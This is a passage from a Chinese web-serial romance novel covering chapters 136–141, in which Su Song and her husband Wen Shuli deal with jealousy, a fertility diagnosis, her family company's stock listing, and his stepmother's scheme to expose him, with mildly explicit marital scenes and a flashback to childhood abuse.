“我说了不要叫他小叔!”
苏颂见他生气,降低音量“哦”了一声。
“别敷衍我苏颂,我说真
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的,周扬平城府太深,不是你能接近的。”不想说太多,是不想吓到她。他放松一些语气,又问:“你很了解周扬平?之前请他办过事?”
什么人情不人情的,有需要麻烦过,才会知道那人的秉性。
而恰恰是知道苏颂之前还麻烦过周扬平,他才不爽。
周扬平是什么人,何必卖苏颂人情?说到底又是因为周正焕。
因为他的侄子喜欢苏颂。
有人觊觎自己的老婆,饶是自信强大如温戍礼,也会不悦。他低头,吻住那张唇。他才不是真的要听她跟周家人的过往,与其了解过去,不如把将来牢牢占有她。
他只想在她留下烙印。
他的吻时凶时和,却不停歇,吻得苏颂身子后仰,节节败退,甚至坐上了柜台。
她推他:“不行……”
“还疼吗?”他又啄了啄她的嘴角,大手覆盖上她的肚子。
热源扩散,苏颂打了一个寒颤。
她用两手抵在他的胸膛上,将两人的距离隔开。
“不疼了。”那些温泉药汤还真管用,到现在,她也没有感觉到月经的阵痛,但是不行的啊。
“你起开。”这个姿势她坐得累,还担心坐坏玻璃台面。
温戍礼却没让,一手抓住她两手,一手扣住她的腰,轻松将人抱下来。一个旋转,将人抵在衣柜上。
亲密的姿势,暧昧的呼吸,苏颂还有什么不能懂的,可是他从未这样过。
“去酒店的时候,不是这样想的吗?当时有想到什么办法让我满意吗?”
他的额头抵着她的额头,察觉到她的升温,轻笑一声,一手同时扯下一件衣服:“换上这个就行。”
苏颂转着眼珠子看过去,差点没晕过去,那不是她之前用过一次的战袍吗?
带子勒得慌的那一套!
这件事后来甚至还成为争论时,他攻击她的事物。他说她勾引他的时候怎么不觉得骚。
气得她把衣服藏起来,打算再也不穿了。
现在,少得可怜的布料,尽全掌握在男人的大掌上。
136 温大少开始哄人
浮浮沉沉间,像是回到当年忐忑不安的心情。
苏颂请周扬平办事,是在十九岁那年,当时她去夜店被奶奶发现,奶奶教训她一番之后,背着她还举报了闫丽的店,她知道的时候,气哭了。
可是除了哭,她又能怎么办呢?十九岁,一个成年了又不独立的年纪,她气奶奶怎么能这样做,可另一边,又哀求奶奶不能再对付闫丽。奶奶说店被查只是一个教训,但如果苏颂再见闫丽,她会让闫丽在云城呆不下去,奶奶甚至不让她哭,说垃圾不值得她掉眼泪。
苏颂来到马场,躲在休息室里哭,就是那个时候,周扬平进来了。
那会,她刚认识周正焕不久,只听他说过他小叔很严厉,并没有想到这个一脸笑意的儒雅男人就是周扬平。
她没有钱开专属的房间,这是马场周围供人临时休息聊天的地方。见有人进来,她擦掉眼泪,起身的时候,有人喊她“苏颂,真是你啊”。
周扬平不是一个人来的,一大群人,大人们都一副领导的样子,中间有个小姑娘,是她在大学的舍友。
她当时的样子不适合交谈,打了招呼匆匆就要走,哪知道周扬平却跟了她出来,他人高腿长,几步就追上她。
“苏颂,你为什么哭?”
苏颂觉得这个叔叔很奇怪,想跑,但周扬平又说:“我是正焕的小叔,你需要帮忙吗?”
蓝天绿茵,他笑得慈眉善目,当时就像救星一样。因为苏颂记得,周正焕一次辅导她的时候说漏嘴,说他小叔是个大领导。
大领导,能帮忙处理闫丽店里的危机的吧?苏颂有些迟疑,可对方凭什么帮自己?
大概是看出她眼里的疑惑,周扬平笑着说:“说说看,能帮到你的话,我尽量。因为我也有事情要麻烦你。”他作思量状的说,“不相互欠人情是最好的。”
十九岁,正是步入成熟而又未成熟的年纪,正是还天真,所以才敢跟这样的大人物谈条件。
她担心得以泪洗面的事情,周扬平听后,只用很平常的语气说:“消防不达标就改到达标就好了,不是什么大事。”
他的条件是,教会周正焕骑马。
苏颂也觉得他提的事情很简单,爽快答应。
……
小腹一股热流让她觉得身体被掏空一般,她垂眸,就看到兀自在努力的男人。
因为她毫无想法,所以本应情趣的事变成一种难熬的煎熬,偏偏她还不能表现出抗拒,因为温戍礼说他自己来。
她看着天花板,低喃:“果然,简单的事情就不简单。”
犹如当年,她磨了周正焕一个月,才把人说服,愿意上马。
“专心点。”他掐着她的肩膀命令。
……
苏颂睡到半夜,梦见自己骑马的时候,摔下来,流了一身血,吓得她猛地坐起来,空气里弥漫着生锈味……
她最后直接睡了,忘记换,这会又漏了。
苏颂换完出来,发现温戍礼还没回房间,她出了房间,书房的灯还亮着,夜深安静,他跟人打电话的声音传出。
“工地需要有人盯,你去最合适。苏氏要上市了,我得过去……”
闫丽说她不能为了报恩,活成别人的影子。可看他常常为了苏氏,工作到半夜,苏颂又怎么能不感动。
温戍礼说过,苏氏内腐外败,摊子太烂。可现在,烂摊子在他手里要变成上市公司了。
这种不分你我的付出,让苏颂也不能计较。她走向厨房,打算给他煮份宵夜。
温戍礼是闻到食物的香气出来的,正好碰上苏颂端着碗出来。
苏颂说:“我还想去叫你,过来吃面吧。”
温戍礼走过来,看向那碗热气腾腾的面,挑眉,道:“煮意大利面,我还是第一次见。”
苏颂有些心虚:“冰箱里就这个。能炒怎么就不能煮。”
“好吃。”
苏颂看到他已经拿筷子吃起来。
婚后第一年,虽然温戍礼很忙很少回来,但是回来的时候,他们都会腻歪在一起,做完之后,她都会煮点东西暖暖两人的胃,有时候是半夜几点,可他们还在一起吃宵夜,没有相谈甚欢的话题,但气氛很好很温馨。
不像后来,虽然他会在十一点前回家,可是回到家,却是各忙各的,像是过了新鲜劲,没了在一起的冲动。但现在,苏颂觉得,他们又像是回到刚结婚那会。
“苏颂。”吃到一半,温戍礼忽然喊她。
“嗯。”
“周正焕下个月要订婚,到时候我带你一起参加。”
苏颂有种豁然开朗的感觉,原来周正焕跟白雯是刚准备要订婚,而不是已经订婚好了的关系啊!难怪她之前不知道。
她点头,有些高兴,温戍礼抬眼,看着她,又接着说。
“我不是不能接受你有自己的圈子,只是我更想要我们两个人一起的时刻。
人会长大,有自己的家,有了家庭以后,肯定是家人第一。”
苏颂睁着大眼睛,也看着他,听着。
“所以,别生我的气了。我只是看你跟周正焕在一起吃醋。”
最近,苏颂确实有怄气,只不过念在他对苏氏有恩的份上,她依然选择没有爆发,但是忍着跟认同,心态不一样,她只能控制嘴上不说,但控制不住心里不好受。
她太渴望朋友了,一想到温戍礼也反对,她就无法用正常心面对他,于是常常往酒楼跑。
她以为以温戍礼的性格,大概又只能靠她自己消耗坏情绪了,从没想过,他竟然会在这件事上低头,甚至还大方承认他在吃醋。
他深邃的眼变得含情脉脉,温戍礼的眼睛,按照网上现在流行的说法,就是看狗都情深那种。苏颂的心跳变得很快,人似乎被电了一下,整个人紧张到在颤抖。
“那我……那我离正焕远点。”
“好!”
。
顾辽舟得知温戍礼还要带苏颂去参加周正焕的订婚宴,直说这不像他的作风,在听他说到苏颂的保证后,第一次,在面对女人的事情上,顾辽舟对温戍礼竖起大拇指。
大写的服气!
“这些年,到底谁说你不懂爱的?这不套路起女人来一套一套的。”
137 惊,超级大瓜
能让女人从不情不愿到心甘情愿可是个大学问。更别说卖惨博同情这招,百分之七十的男人就做不来,不是学不来,是堂堂男子汉,不要面子的吗?
真没想到啊,“你这么在家这么豁得出去。”顾辽舟一把搭在他的肩膀上,啧啧坏笑地说。
温戍礼他的手:“什么套路。我跟苏颂是夫妻。”说得那么难听。
“哦,夫妻~床头吵架床尾和嘛。”顾辽舟装出一副“我懂”的样子,转到对面坐下来,又问,“嫂子还在生理期,告诉哥们,你们怎么和的?”
他单手托腮,撑在办公桌上挤眉弄眼:“别把兄弟当外人。兄弟纯纯是想不当禽兽。”
这货是在拿他那晚他骂他的话揶揄他。
温戍礼在桌底下,又踹了他一脚。桌子大,只是鞋子稍微碰到裤子。顾辽舟一边扫西裤上的鞋印,一边笑得眼泪都要掉出来了:“不是禽兽,是亲手对吧,哈哈哈……”他甚至忍不住拍桌子。
让他好心要教他的时候装清高,这下可不让他笑回本。
顾辽舟笑得太夸张了,于是乎温戍礼按了内线:“来把人请出去。”
瞬间,顾辽舟就不笑了:“开个玩笑。”让保安来请他?以后他在这片CBD还怎么混?自己公司可就在斜对面呢,万一被下属看到,他不要脸的吗?
可温戍礼打开文件,准备办公。顾辽舟连忙说:“我大早上来找你,有事跟你说。”
终于,温戍礼看他了,但眼神冷冷的,透出一股“有事快说,不然就滚”的意味。
顾辽舟心想,真是大男人主义啊,他自己做就行,让人说就不行。
“你那个继母最近疯狂在夜场找人。”
自从温戍礼故意泄漏自己跟苏颂的照片上热搜后,顾辽舟已经查出来,挖出苏颂跟周正焕早年照片的人就是林美丽。
不过,温戍礼让他先按兵不动,继续观察。现在,林美丽有了新动向。
顾辽舟说:“你继母……”
温戍礼:“她没名?”
顾辽舟噎了一下,好像老是“你继母,你继母”也不好听,像是在骂人。
于是他清了一下嗓子,继续说:“林美丽最近在找温泰出国前接触过的女人,甚至不惜花重金打听,还特意要找有睡过的,我猜测,她可能要利用这些女人干点什么……不过温泰睡的都是夜场的女人,就算睡过也不能帮他回国吧?”没钱没背景的,帮倒忙差不多。
温戍礼听后,也陷入沉思,就在这时,被他呼叫的保安上来了。
顾辽舟转头看到站在门口的两个高大保安,又转过来看他,不可置信:“你来真的?”居然真的叫人上来?
顾辽舟是被架下来的,两个保安一左一右,反向架着他,他一边下来一边踢腿一边骂,整个人,从上到下,忙得不可开交:“温戍礼,你过河拆桥……我给你的出的主意还少吗?你把人哄好了就翻脸不认人。”
他被放在了盛泰门口,骂骂咧咧戛然而止。在外面,还要脸。
由于是上班时间,这事也就盛泰里面正巧碰上的几个人知道,但风吹草就动,传到林美丽耳朵里,就变成温戍礼跟顾辽舟闹翻了。
是夜,星灿酒吧,顾辽舟喝着女人送过来的酒,吐槽着温戍礼的不是。
“好歹我也是个有身份的人,他这是一点面子也不给我留。”
“他真是被苏颂迷晕头了,容不得人说苏颂半点不是。见色忘友的家伙。”
他又喝了一口,又嫌小口不得劲,一把夺过,一饮而尽。喝完发出“啊”的一声,好像这样才够爽。身边的女人又贴心的把酒杯接过去。
顾辽舟赞赏的说:“还是你们懂事,乖。”
就在这时,一个戴着鸭舌帽,戴着墨镜的女人挤过来。
顾辽舟一看:“角色扮演?”
“是我。”林美丽拉下墨镜,只让顾辽舟看清楚是她,又戴了上去。
顾辽舟:“……阿姨你这是干什么?”
林美丽压低声音说:“今天的事情我听说了,顾家现在是不如前了,但你刚帮着解决了新项目的钉子户,没有功劳也有苦劳,就算他心情不好,也不能迁怒你。”
这是劝说来了?
不过这个林美丽还真是爱显摆,张口闭口就是身为温家人那种高人一等的姿态,明里暗里抬高自己的身价,又把他贬个透。
可顾家再不济也是挤进圈子里的豪门,论出身,怎么都比她一个秘书上位强吧!
看她那个高高在上的得意劲,果然,人不要脸,天下无敌。
人在无语的时候真会笑。
顾辽舟挑眉,瞧着林美丽,道:“阿姨知道得挺多。”
林美丽不知道是真听不出顾辽舟话里的揶揄,还是假装听不出,点了点头,说:“我还知道温戍礼为什么心情不好。”她凑近顾辽舟,在他耳边说了一句什么,只见顾辽舟一脸震惊。
“这事真的?”
林美丽退开一点,媚眼舒展,说:“千真万确。我亲眼看到的。”并且证据确凿。
林美丽接着说:“我也不拐弯了,我最近在找人想必你也知道,我很意外这里竟然是你跟江灿一起开的。我不拉拢没用的人,我看出来了,你跟顾家其他人不一样。所以才跟你说这个。
温戍礼不能靠,以后温家归谁,你要清楚。
考虑考虑,跟我合作吧。”
搞了半天,是来拉拢他的。大概是林美丽以为他被温戍礼这样对待,肯定会怀恨在心,才趁机前来。
不过把人里里外外贬一番的拉拢,他还真是头一回见。
林美丽匆匆的来又匆匆的去,顾辽舟盯着她那身奇怪装扮的背影,只见她明明是个身高一米六的小个子,但硬要凹出个气场两米八的架势。结果反而变成走姿扭捏,只见被人撞了一下,还扭到脚了。
顾辽舟收回视线,半晌,说了句“我草”。
“温戍礼不能生??”
。
隔天,是到医院拿检查报告单的日子,两人十点再出门,温戍礼跟解锁新技能一样,昨晚又熬到大半夜,搞得苏颂起不来。
138 温大少真的不能生?
一上车,看到苏颂不大高兴的样子,温戍礼说:“就拿个报告,晚点也没关系。”
“可我们今天去还要去云城!”被苏颂那么一瞥,温戍礼闭嘴了。好吧,他其实很少打乱计划,今天还是自己打乱的。
不过去云城,晚点到就晚点到,也不算大事,不用把他当成罪大恶极的样子。
车子一路顺畅的到达医院,本来还急着要来的苏颂,步伐却慢下来。她问:“你怕不怕?”
温戍礼低头看她,发现她很紧张,道:“是谁早上还在抱怨我欲望强盛太折腾人的。我这么健康,怕什么?”他双手插兜,一副强大到无所畏惧的样子。
有时候,苏颂真想把他这张嘴缝起来的,嘴又毒,还不分场合。不过十分钟后,他安静了。
苏颂再三确定单子上面的结果,看了又看,瞄了他一眼又一眼。
“会不会是误诊?”她弱弱的问。
报告单结果上写着:弱精症。
三个字,非常显眼。
苏颂就怕检查,就怕这种结果不好的,吓都吓死人。她不敢去看他的脸,连呼吸都放慢,不敢打扰看到结果的他。
温戍礼把单子一揉,狠狠的丢进垃圾桶,长腿直迈,什么话都不说。
嘴巴真被缝起来了,可苏颂反而怕了。她快步跟上,一路上也不敢多说,一上车就感到冷冷的低气压。
第一次,苏颂主动升起隔板,她说:“我们再检查一下吧,这个可能有什么误差。”
闻言,他冷冷勾唇:“误差大到正常跟弱精?”那不跟说不及格跟满分没区别差不多了。
他又开始语言带着攻击性了,苏颂知道,他心情不好才会这样。碰上这种事,谁都心情不好。
原本苏颂还在想着怎么安慰他,被他这么一回击,也变得沉闷起来,低着头,几分惆怅。
“……可是我怀过你的孩子啊。”这件事太突然了,怎么都不会想到这个结果,苏颂还是觉得不可信。
温戍礼却说:“弱精只是概率低,又不是完全不可能怀。”
苏颂脑子还在分析,他已经降下隔板,说:“去云城。开车。”
苏氏明天上市,行程是早就定下的。苏颂没再多说,只能先这样了。
全程开车前往,因为太晚出发了,还没出城就已经到中午,便先吃饭。
郊区的酒店最高只有三星,要是平常,温戍礼肯定要嫌弃的,但今天,他很安静。
苏颂想到检查结果,想他可能是需要静一静,来消化。
苏颂先进门,跟前台经理沟通菜式跟包厢,要选这里最好的单间才行,食材可以普通,但绝对要新鲜,温戍礼的胃跟检测仪一样,吃到不新鲜的食物,会吐出来。
严重还会闹肚子,脱水,不是闹着玩的。苏颂同前台经理确定好,抬眼的时候,看到一个身影。
对方走进电梯,背影娉婷,腰身极美。只一眼,就让苏颂觉得眼熟,那人也穿着旗袍,好像陈曼曼。
可是陈曼曼被陈家人送出国了,圈子里的千金都说,她被陈家抛弃了,说是送,其实就是流放。
可能是她吗?
“不可能吧,她怎么可能住这种酒店。”陈曼曼是那种一看就是被富养长大,锦衣玉食的人,这种人间富贵花,委屈不了自己。
苏颂摇摇头,觉得自己想多了,很快就把这件事抛之脑后。
到底环境太差,温戍礼吃了一点就吃不下了,他不吃,也没人再吃下去。
细赶慢赶,到达云城已经是下午五点,苏凤还在公司,让他们直接到苏氏。
一到公司,温戍礼就到会议室,参与到他们紧锣密鼓的筹备工作之中。
苏颂看他一工作就不见消极情绪,心想,他跟奶奶真是一路人。
她又低头看着自己平坦的肚子,可是奶奶迫切希望她生小孩。他呢?
万一以后真的要不到孩子呢?
一时间,坏情绪又侵染了苏颂,她又想到那个无缘的宝宝。
“要是你健康,留下来的话,现在也三岁了……”
在温戍礼跟她说要个孩子的时候,苏颂真的很高兴,当时她以为,宝宝很快就会回来了,哪知道备孕半年,静悄悄的,现在直接让她看到无望。
网上说男人过了三十就开始走下坡路,都努力半年了,这个概率不好赌。
苏颂很烦,他们都在忙,显得她更无事,那种格格不入的感觉,让她感到孤单,她给闫丽发了消息,想找她聊聊天。
【丽姐,你想过生宝宝吗?】
考虑到闫丽还未婚,苏颂又打字补充。
【遇到合适的人情况下】
闫丽没回,这个点,大概在店里忙。苏颂收起手机,准备走,看到迎面而来的男人。
夏叙是个典型的海归形象,梳二八背头,戴黑框眼镜,穿格子西装,配尖头皮鞋。
长相中等,胜在会打扮,浑身透出“精英”两个字。
“苏小姐。”他笑着跟苏颂打招呼,抬步继续走过。
“你为什么不是叫我温太太?”苏颂侧过身问他。
他们见过,今年元宵,是他陪苏凤去南城的,那会他站在她奶奶身边,只是对她微笑,带她奶奶登机之前,也只是对温戍礼说了句“温总再见”,没有同她打招呼。
面对苏颂的问题,夏叙温和有礼的说:“我为苏氏做事,你是苏氏的大小姐,所以我觉得这样称呼更好,还是你不喜欢?”
苏颂立即摇了摇头,夏叙进了会议室,可随即,苏颂又觉得不太对。
她是苏氏的大小姐没错,但她也是温戍礼的老婆啊,他夏叙更是温戍礼找来的,论亲疏,夏叙应该跟温戍礼更亲近一点才对吧?
而他刚才先说到苏氏,最后再问她是不是不喜欢,这跟问人你是不是不喜欢你的家庭一样,被问的人肯定回答喜欢啊!
苏颂觉得哪里怪怪的,但她不会说了,免得她奶奶又说她对夏叙有偏见。
苏颂逛着公司等,一想到自家的公司要上市了,以后她也是名下有上市公司的人了,苏颂心情有点激动,手机这时“叮咚”一声,是闫丽回复她了。
【要宝宝还需要有合适的人?我自己怀,自己生的,我觉得合适就好,要什么狗男人】
139 你家隔音效果太差
隔天,苏氏顺利上市,苏凤还安排了一场庆功宴,公司上下所有人都参加,中间还安排抽奖、大冒险,有吃有拿,个个欢天喜地,苏颂还听到很多人都对夏叙夸赞有加,说他是个好领导。
苏颂一直担心苏氏这么快就上市,会有变故,结果一切顺利进行,她终于放心下来。露出了从昨天到现在的第一个笑。笑意间,看到温戍礼穿过人群,拿着手机往边上去,看样子是要找个安静的地方接电话。
难得见到温戍礼,有人追过去要敬酒,苏颂及时挡住那个人:“他有事。”她笑笑,态度客气疏离。
其实她爸去世后,她管理过苏氏,但是这些管理层个个仗着经验丰富,又觉得她奶奶年迈,以着她还在上学不懂为由,经常不服她管。甚至只要是她提出来的,通通反对。
因为什么事都进展不了,一年的时间,苏氏的问题就暴露出来,危机迫在眉睫,所以奶奶才带着她去了南城,找上温家。
经历过这些人的冷暖,苏颂没什么好脸色。那人大概也自知,客气了一下,识趣的走开了。
温戍礼接完电话回来,就看到脸色不虞的苏颂,问:“怎么了?”
苏颂说:“看到某些势利眼的人,觉得碍眼。”
说完,苏颂不语,她意识到自己说错话了,她在他面前一向都是走贤慧宽容路线,万一温戍礼觉得她刻薄,不符合贤妻的人设呢?
“我就是随口一说。”她抬脸,讪笑。
“嗯。”好在他也没有多问。
苏颂松了一口气,想转移话题,于是问他:“谁的电话?有事吗?”
问完,看到温戍礼抬眸看她一眼,她以为是他不喜欢她问他这个。
“我……”不是要问你行踪。苏颂想解释,奈何一急,咬到舌头了,刚说话,就捂着嘴,眼里含泪。
温戍礼见状,捧着她的脸,小心帮她揩去泪花:“急什么,我又不是不告诉你。”
苏颂余光扫着四周,不是啊,她也不是非得知道,而且在场这么多人,好多人在看他们,苏颂注意到,刚才那个要找温戍礼的高管,一脸震惊后,害怕的移开视线。
于是,苏颂想退后避开的动作停下来。她也想让这些人知道,她如今再也不是那个无依无靠,让他们可以欺负看低的孤女了!
苏凤看到了,露出满意的笑:“这样才对,我就说戍礼会喜欢颂颂的。”
苏凤问身旁的夏叙:“你觉得他们般不般配?”
夏叙推了一下眼镜,笑着说:“配。”唯有那目光却透出一股阴狠。
温戍礼看着苏颂,说:“这是你第一次主动想知道我的私人事情。”结婚四年,她总是连他的行踪也不知道,他不说,她不问,他说了,她也没多问,就好像,他爱干嘛干嘛,只要晚上十一点前回家就行,这让温戍礼一度觉得挫败。
此时,他很乐意的报上电话内容:“是顾辽舟的电话,打来跟我说,林美丽想拉拢他。”
他松开手,站姿笔直,落下的视线全拢在她身上,又教她:“碍眼的人,扫开就好,没什么事情比影响心情更严重。”
最近,林美丽太蹦跶了,一张照片,让他心情差了大半年,这笔帐,该清算了。
。
这边,King
顾辽舟坐在办公椅上,一手撑着下巴,一手转着手机。
温戍礼说,林美丽找他的事,要不要干,他自己选择。
他盯着桌上那一叠十几公分厚,好几叠的钞票,笑得狐狸眼都眯起来了。
“戍礼啊戍礼,我就知道你是我的贵人,丢人一下就能得到这么多钱,这哪是没给我面子,这是给我指了一条赚钱的门路啊!”
他拿起一沓钞票,甩了甩:“我只能先答应了,没办法,林美丽给的实在太多了。”
区区一个夜店小姐的下落,就值得这么多钱,赚大了。
。
晚上离席,车上,温戍礼喝了酒,苏颂看他微微拧眉难受的样子,说:“要不我们去苏家?”
这次来,他还是住酒店,她住家里。
家里方便,苏颂想给他泡杯茶解酒。她说,“我拿奶奶珍藏的普洱给你喝。”她伸手越过温戍礼,想拿他的外套给他披上。
温戍礼却伸手,抓住她的胳膊。她今晚穿着一条无袖纱裙,胳膊上的肉软得很。就这么一掐,就红得诱人。
“会不会吵到奶奶?”
苏颂以为是他怕太晚,打扰到奶奶休息,虽然不明白,就泡杯茶,真有声音也就一会,能打扰到哪里去。但苏颂只当是他太有教养,说:“不会,奶奶住楼下东边,我住二楼西边,离得远。”
“那就好。”
苏家是一套旧式小四合院,是苏凤怀念小时候住过的四合院,在苏氏重振后再买的,不大,但是房间挺多的。苏颂见温戍礼一路上都靠在她肩膀上闭眼,以为他是困了,于是先带他到二楼客房。
“这是你房间?”温戍礼打量一番,房间里除了一张床,一个柜子,什么摆设都没有。
“不是,我的房间在隔壁。”
“这里离奶奶的房间远不远?”
苏颂扶着他上来,人累得坐在床上,就在温戍礼身旁,喘着气。说:“你放心,不会吵到奶奶的。”还真不知道温戍礼在外有礼貌到这样,反正在她面前,好不好看他心情。
“我家虽然没有温家大,但是隔音效果很好。”
老式建筑,全是实木结构,甚至楼层隔板用的都是一整根的大木头,后面装修又加了水泥铺层,不仅承重好,稳当结实,隔音效果也很好。
“难怪每次来,你都不想来我家住。放心吧。”苏颂缓了一会,起来准备去泡茶,哪知道刚起身,就被温戍礼抓住手腕,拖下来,一把倒在他身上。
苏颂坐在他怀里,一双清澈的眼,有着惊愕的看他。
只见他勾唇一笑:“那就好。”他一个欺身,就把苏颂压在下面,她甚至都没反应过来怎么回事,唇瓣就被吻了一遍。
一吻缠绵,似乎解了他一路上的相思之苦,温戍礼要去拉她礼服的拉链,但苏颂不配合。
140 爱不够,关爱来凑
他笑得几分痞气,道:“喝茶不能解酒,只能稍微提一下神。我回家喝一杯,是想提醒自己,别吓到你。”
他是在婚后第二年才回家频率高的,但那时,他心里卡着孩子的事情,心理上,并不太想跟苏颂做亲密的事情。
那段时间,他第一次体验到,人的理性对抗不过感性。不管他装得多高冷,一到半夜时分,还是会忍不住想钻进被子,与她温存。
他在她脖子上吸一口:“你都说不会吵到奶奶了,那我也不必忍着。”
“可……唔……”一切言语被尽数吞去。
……
这是在苏家,给苏颂两个胆子她也不敢跟温戍礼这样睡在一起。她急急忙忙起身,慌乱穿着衣服。又大又蓬松的公主裙,没人帮忙,连领口都找不到。
听到身后一声低笑,她急起来:“你还笑,快点帮我。”
“我们是合法夫妻,你这样,搞得我们像是在偷情一样。”话是这样说,但他还是移过来了,边帮她边问,“就这么怕奶奶?”
苏颂收腰提拉链,不好说话。温戍礼给她拉上去,说:“到这边,连礼服都不敢自己选。”
这种透着古板设计的公主裙,现在哪个年轻人喜欢。
苏颂整理好自己,转过身来,说:“废话,被偷听墙角,说不害臊的,又不会说你。
都不知道女人为什么老为难女人,听到就听到,假装不知道不就好了,还得当面骂我一顿。”
温戍礼多聪明的人,联合她刚才说到温家隔音差,立刻就想到什么。
去年,他刚进盛泰,温航之在温家给他办了一场宴会,散场后,他们就住在温家。
那一晚,她活络在温家族人之间,说了不少他的好话,让他觉得顺眼又顺耳,她总是轻易就能挑起他的兴致,加上喝了酒,那晚不节制了点。
“那次在温家住,隔天林美丽骂你了?”
苏颂说:“她说我御夫有道。”她做贼心虚,又急着走,不想再跟他多说那件事,“反正你在我家安分点,我奶奶骂人比林美丽还难听。”
“以前也没发现多重欲,难道弱精反而会促进欲望?”
她出去了,大概苏颂很自信她家的隔音,人还在走廊上,就碎碎念,都被温戍礼听见了。
温戍礼:“……”
。
隔天,温戍礼就带着苏颂回南城,这一次坐的是飞机,出来的时候,接他们的,却不是温戍礼的司机。
苏颂在他身后探头,看到面前的人恭敬的对温戍礼说:“大少爷,先生让我接您回家一趟。”
那是温家的管家。
温戍礼没有带她,于是她被迟到的司机载走,中途,苏颂让他改道,来了茶楼。
一进门,一只蓝猫就来蹭她的鞋子,苏颂把它抱起来,又揉又蹭的:“嘟嘟,我好想你。”
她爱不释手,脸上是藏不住的喜欢,嘟嘟在茶楼,她要是不来,就见不到。她将猫抱在怀里,跟猫说:“我想个法子,带你回家去吧。”
苏颂在网上查过,说身体有问题的人,时间长了,会有孤独感,不知道温戍礼会不会,会的话,就让他同意把嘟嘟带回去养吧,她总觉得家里太冷清了。
她摸着猫头想。
这边,温戍礼在车上,打开手机看消息,顾辽舟问他【嫂子知道了吗?】
【事关性福,你以后对嫂子多关心一些,爱不够,关爱来凑】
顾辽舟打着关心的名义,又来看热闹了。他关掉手机,看着车外闪过的景物。
苏颂,他觉得,他要是真不能行了,苏颂可能更高兴。
她只是想要生孩子,并不是想跟他在一起这个想法是在昨晚产生的,因为她做后,那句可惜的语气,让他有点不高兴。于是这不高兴一直延续到了温家。
温家
温航之问林美丽:“叫我提早回来,说有事,结果等到现在,到底有什么事?”
他的耐心有限,濒临爆发。林美丽看着门外,说:“快了,王管家已经接到戍礼了。”
温航之一听,长子也要回来,甚至小儿子也在家,意识到不对劲:“你到底要干什么?”
林美丽被他吼得不耐烦了,最近,他对她的态度越来越差了。真以为以后能依靠温戍礼,不把她当回事了是吧?
一想到等会要揭发的事情,林美丽也硬气起来:“干的是事关你温家子嗣的大事,不得等人齐了再说。”
温戍礼不能生,这事是天助她也,只要他没有后代,温家这一切,就都是她跟她的儿子们的了。
“你最好别惹事。”温航之警告道。
“我不惹事你都要打我,我敢惹事吗?你大儿子一句他没妈教,你就打得我几天下不来床,我今天就是要让你知道,你的好大儿,靠不了。
以后,不管是你,还是温家,都得靠我们母子三。”
“妈!”温衡在一边提醒,示意她控制情绪。
林美丽别过头,从上次温戍礼在温家跟温航之斗嘴,又提到他生母后,温航之就打她,那次打得狠,两人至今关系都不太好。索性,这会她也不顾及了。
他们越是这样,温航之越是疑惑:“戍礼靠不了?温家,靠你们?”
车子开进来,听到引擎熄火的声音,林美丽笑了:“人来了,你很快就知道了。”
阳光披洒在温戍礼背后,他进门,打下一片黑影,似乎家里都暗了。
温戍礼一米八八的个子,肩宽窄腰,高大的体型加上他一副不言苟笑的样子,气场极强。
林美丽看他风尘仆仆,却还这样压人,后牙槽都要咬碎了。温戍礼就是这样的存在,只要他在家,家里上下就会以他为主心骨,把她这个女主人忽视个彻底。
温航之见他稳当大气的走来,对这个儿子越发满意,道:“苏氏已经成功上市。干得不错。”
他的目光都是骄傲,这曾经是温戍礼的渴望,但这一刻,他只是冷淡的扫过,站在那,开口:“这事看新闻就行了,没必要让王叔接我。”
他对温家不耐烦的态度越来越明显。
141 大败继母。家丑,赢了也是悲哀
顾辽舟将林美丽要找的小姐送来温家,车子抵达的时候,正好看到温戍礼进去,他回头问已经下车了的小姐。
“等会什么都别说,安静站着就行。”
那小姐笑眯眯的点头答应:“知道,知道,豪门的热闹可看不可说。规矩我懂,顾少。”
这人虽然不是顾辽舟场子的,但看起来老油条了。他用手指了指她的肚子,问:“真是温泰的种?”
那小姐笑容顿了一下,说:“这事不能乱说。我进去了,顾少。”
女人轻快的往着温家走去,就像要去挖金山一样。
可不是挖金山吗,他自己也为这金山折腰,林美丽临时又加钱,非要他马上把这人送过来。他跟温戍礼这么多年交情,又不是不知道他跟他继母的关系,私底下帮林美丽就算,摆到明面就不好看了,可是林美丽动不动就加钱。
没办法,给得实在太多了。好看又不值钱。何况就送个人来,又不是让他送人头。
顾辽舟没有马上走,而是掏出烟,点了一根。降下车窗,看着那栋豪华的建筑物。
他想起刚认识温戍礼的时候,他跟温戍礼从小学到高中都同校,但他还没上小学的时候,就经常从家里人的嘴里听到这个名字。
温家大少,含着金汤匙出生,如果能接近温家人就好了……
他出生的时候,顾家已经开始走下坡路了,后来又被封了很多产业,从小,他见多的,都是父亲请这个求那个,看尽他人脸色,所以第一次见到温戍礼的时候,他并不喜欢。
因为只要有温戍礼在的地方,不管男孩女孩都围着他,那些人极尽讨好,就像他父亲。而温戍礼冷漠高傲,就像那些漠视他父亲的人。
他跟温戍礼最开始认识是打架!他自认为从小练拳,觉得自己能把这资本家嘴脸的同学打成猪头,结果,他输了。
他妈知道后,领着他来温家道歉。他知道,道歉只是借口,是他妈想来巴结温家。
那是他第一次来到温家,漂亮得像是电视剧里的房子,竟然是他家。他心里更不爽了,不情不愿的被母亲带进去,结果他们进去得太快,管家先生来不及通报,他们看到林美丽在教训温戍礼。
用装开水的碗,放在他头上,名为仪态训练。
大概是被看到了也不避讳,或者是林美丽压根没把他们放在眼里,所以她明目张胆的体罚了温戍礼,他们坐了半个小时,期间,林美丽听到他打架,还让管家给加重。
一公斤重的铁棍子,就那样被他两手伸直拿着,头上还顶着盛满热水的碗。
他当时就明白,自己为什么打不过温戍礼了。
伸出窗外的烟灰,瞬间被风吹散。顾辽舟敲着烟蒂,看温戍礼这么久还没出来,开始担心:“他自己能应付吗?”
思忖半会,顾辽舟推开车门,下车:“不行,他一个人,人家是一家四口,而且林美丽这次准备充分,我得去帮他。”
他大步走去,想起当年跟温戍礼的第一次对话。
他:“你妈罚你,你为什么不跑?”
小温戍礼:“她不是我妈。”
“跑?我能跑到哪去?那里是我家。只不过是住着他们一家子……我的家。”
顾辽舟理解温戍礼的冷,是因为知晓他成长的痛。快步变成跑步,他加快速度,如果因为自己贪财,让温戍礼再受他继母的欺负,那他们之间的友谊就真完了。
他急匆匆的赶到门口,却被里面不可思议的一幕惊到。
“胡闹!”只见温航之一巴掌就招呼在林美丽脸上,又快又狠。
温戍礼依然一身冷漠,事不关己般转身走来,径直经过他身边。
顾辽舟连忙跟上,打着笑脸:“我还以为你会被打。里面发生什么事?”
